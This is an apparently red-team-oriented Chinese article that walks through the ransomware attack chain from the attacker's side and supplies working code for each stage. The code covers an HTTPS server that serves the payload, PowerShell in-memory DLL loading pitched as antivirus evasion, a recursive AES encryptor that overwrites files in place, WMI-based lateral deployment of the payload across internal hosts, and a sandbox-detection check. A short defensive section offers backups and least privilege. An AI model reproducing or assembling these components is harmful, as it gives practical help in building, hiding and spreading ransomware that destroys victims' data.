一、从勒索软件的攻击链看本质
勒索软件(Ransomware)攻击的核心,其实可以看作是一条精心设计的「攻击链」。从攻击者的视角来看,每一步都经过了严密的规划和优化,以确保最终能完成对目标系统的加密和勒索。要想真正理解勒索软件的运作,我们必须从它的攻击链中拆解每一个环节:初始访问、载荷投递、权限提升、横向移动、数据加密、以及勒索支付的执行逻辑。
从技术角度看,勒索软件的大规模传播依赖于以下几个关键点:
- 初始访问:攻击者通常会利用钓鱼邮件、恶意宏文档、漏洞利用工具包(Exploit Kits)或公开服务的漏洞来获取落地的机会。
- 载荷投递:勒索软件在目标系统中运行前,必须通过一个有效的载荷投递机制来绕过杀软或EDR检测。
- 加密过程:核心部分是对文件数据的加密,往往会采用对称加密(用于加密文件内容)和非对称加密(用于保护密钥)的组合方式。
- 支付逻辑:存储解密密钥的C2服务器通常通过暗网托管,攻击者通过比特币等加密货币完成交易。
接下来,我们结合一个常见的勒索软件样本,从攻击链的每一环节展开深入分析,并通过代码复现其核心技术点。
---

二、载荷投递的「免杀学问」
勒索软件攻击中最难的一步,可能就是载荷的免杀问题了。现代杀软和EDR(终端检测响应)产品的检测能力已经进化到通过行为分析、AI模型等手段做到实时的威胁阻断。为了绕过这些防御,我们需要从两方面入手:流量层面的伪装和恶意代码的混淆/内存加载。

1. 流量层面的伪装
流量伪装的核心是将恶意流量藏匿在合法协议中,以规避网络检测设备的流量过滤。一个常用的技巧是将勒索软件的下载任务伪装成HTTPS流量,通过自签名证书来绕过SSL检查。以下是一段使用 Python 的 HTTPS 服务搭建代码示例,攻击者可以用它来托管勒索软件的加密载荷。
<pre><code class="language-python">from http.server import HTTPServer, SimpleHTTPRequestHandler import ssl
用于自签名证书的路径
key_file = "server.key" cert_file = "server.crt"
class MaliciousServer(SimpleHTTPRequestHandler): def do_GET(self):
在这里返回恶意载荷
self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() with open("ransomware_payload.exe", "rb") as f: self.wfile.write(f.read())
if __name__ == "__main__": httpd = HTTPServer(('0.0.0.0', 443), MaliciousServer)
为流量套上SSL层
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=key_file, certfile=cert_file, server_side=True) print("Malicious HTTPS server running on port 443...") httpd.serve_forever()</code></pre>
2. 恶意代码的免杀与内存加载
目前主流的勒索软件都在载荷投递中采用内存加载技术,避免恶意代码落地磁盘。举个例子,下面这段代码展示了如何用 PowerShell 将恶意 DLL 动态加载到内存中并执行其导出函数。
<pre><code class="language-powershell"># 通过 PowerShell 内存加载 DLL 并执行 $Bytes = [System.IO.File]::ReadAllBytes("malicious.dll") $Assembly = [System.Reflection.Assembly]::Load($Bytes) $Type = $Assembly.GetType("MaliciousNamespace.Encryptor") $Method = $Type.GetMethod("StartEncryption") $Method.Invoke($null, $null)</code></pre>
这段代码的核心思路是将 DLL 文件以字节流的形式读取到内存中,随后通过 .NET 的反射机制动态加载并调用导出的方法。通过这种方式,勒索软件可以完全绕过传统的文件型杀毒检测。
---
三、核心加密模块的实现逻辑
所有勒索软件的核心功能点就是文件加密。大多数现代勒索软件会采用「混合加密机制」,即利用对称加密算法(如 AES)对文件本身加密,而再用非对称加密算法(如 RSA)保护对称密钥。这种机制确保即便受害者破解了某个加密文件,也无法解密其他文件。
AES 文件加密核心代码演示
以下是一段 Python 演示代码,它展示了如何对目标文件夹中的所有文件进行 AES 加密。
<pre><code class="language-python">from Crypto.Cipher import AES from Crypto.Random import get_random_bytes import os
def encrypt_file(file_path, key):
生成随机初始化向量(IV)
iv = get_random_bytes(16) cipher = AES.new(key, AES.MODE_CFB, iv)
with open(file_path, 'rb') as f: plaintext = f.read()
ciphertext = iv + cipher.encrypt(plaintext)
将加密后的数据覆盖原文件
with open(file_path, 'wb') as f: f.write(ciphertext)
def encrypt_directory(directory, key): for root, _, files in os.walk(directory): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, key)
生成随机 AES 密钥
aes_key = get_random_bytes(32) # 256 位 target_directory = "./target_data" encrypt_directory(target_directory, aes_key)</code></pre>
这段代码中,所有的文件都会用随机生成的 AES 密钥加密。而这把 AES 密钥会被勒索软件上传到攻击者的 C2 服务器。
---

四、横向移动与域渗透
在企业内部环境中,勒索软件需要快速传播,感染尽可能多的节点。横向移动技术是这里的关键。攻击者常用的方法包括:
- 利用 SMB 协议(如 EternalBlue 漏洞)进行网络传播。
- 使用 Mimikatz 提取凭证并进行 RDP 登录。
- 滥用 WMI 和 PowerShell 执行远程命令。
以下是一段基于 PowerShell 使用 WMI 的远程执行代码,攻击者可以用它向内网的其他主机部署勒索软件。
<pre><code class="language-powershell">$TargetComputers = @("192.168.1.101", "192.168.1.102") $PayloadPath = "\\192.168.1.100\share\payload.exe"
foreach ($Computer in $TargetComputers) { Invoke-Command -ComputerName $Computer -ScriptBlock { Start-Process -FilePath $using:PayloadPath -NoNewWindow } }</code></pre>
---
五、勒索软件的防御视角
虽然本文主打攻击技术,但从蓝队角度来看,防御勒索软件也有一套行之有效的方法:
- 备份机制:定期进行数据备份,确保即便被加密也能迅速恢复。
- 检测异常行为:通过检测文件加密速率、内存加载等行为,识别早期的勒索活动。
- 最小权限原则:减少用户权限,防止攻击者利用高权限账号快速横向移动。
---
六、从攻击者的视角看防御失效
很多企业部署了杀软、EDR、甚至沙箱分析系统,但依然会中招。作为攻击者,我会如何规避这些措施?
- 针对沙箱分析:通过环境检测,判断是否在虚拟机或沙箱中运行,避免被捕获。
- EDR 绕过:利用系统 API 直接操作内存,而非调用常见的用户态函数。
- 流量加密:通过 HTTPS 或 DNS 隧道隐藏 C2 流量。
以下是一个简单的环境检测代码示例:
<pre><code class="language-python">import os
def is_sandbox():
检查是否运行在虚拟化环境中
vm_indicators = ["vmtoolsd", "vboxsf", "sandboxie"] processes = os.popen("tasklist").read() for indicator in vm_indicators: if indicator in processes: return True return False
if is_sandbox(): print("Running in a sandbox! Exiting...") exit()</code></pre>
攻击者通过这样的简单方法,能有效避免被动态分析环境捕获。
---
七、总结:勒索软件的进化与思考
勒索软件的复杂程度随着时间的推移不断升级,从简单的单机脚本,进化到如今的多阶段载荷、混合加密、跨平台支持以及双重勒索(数据窃取+加密)。这不仅仅是技术上的问题,更是企业安全策略和攻击者博弈的体现。
对于红队研究者而言,深入理解勒索软件的攻击链条,是设计有效防御手段的第一步。而从攻击者视角思考,才能真正找到蓝队的薄弱点。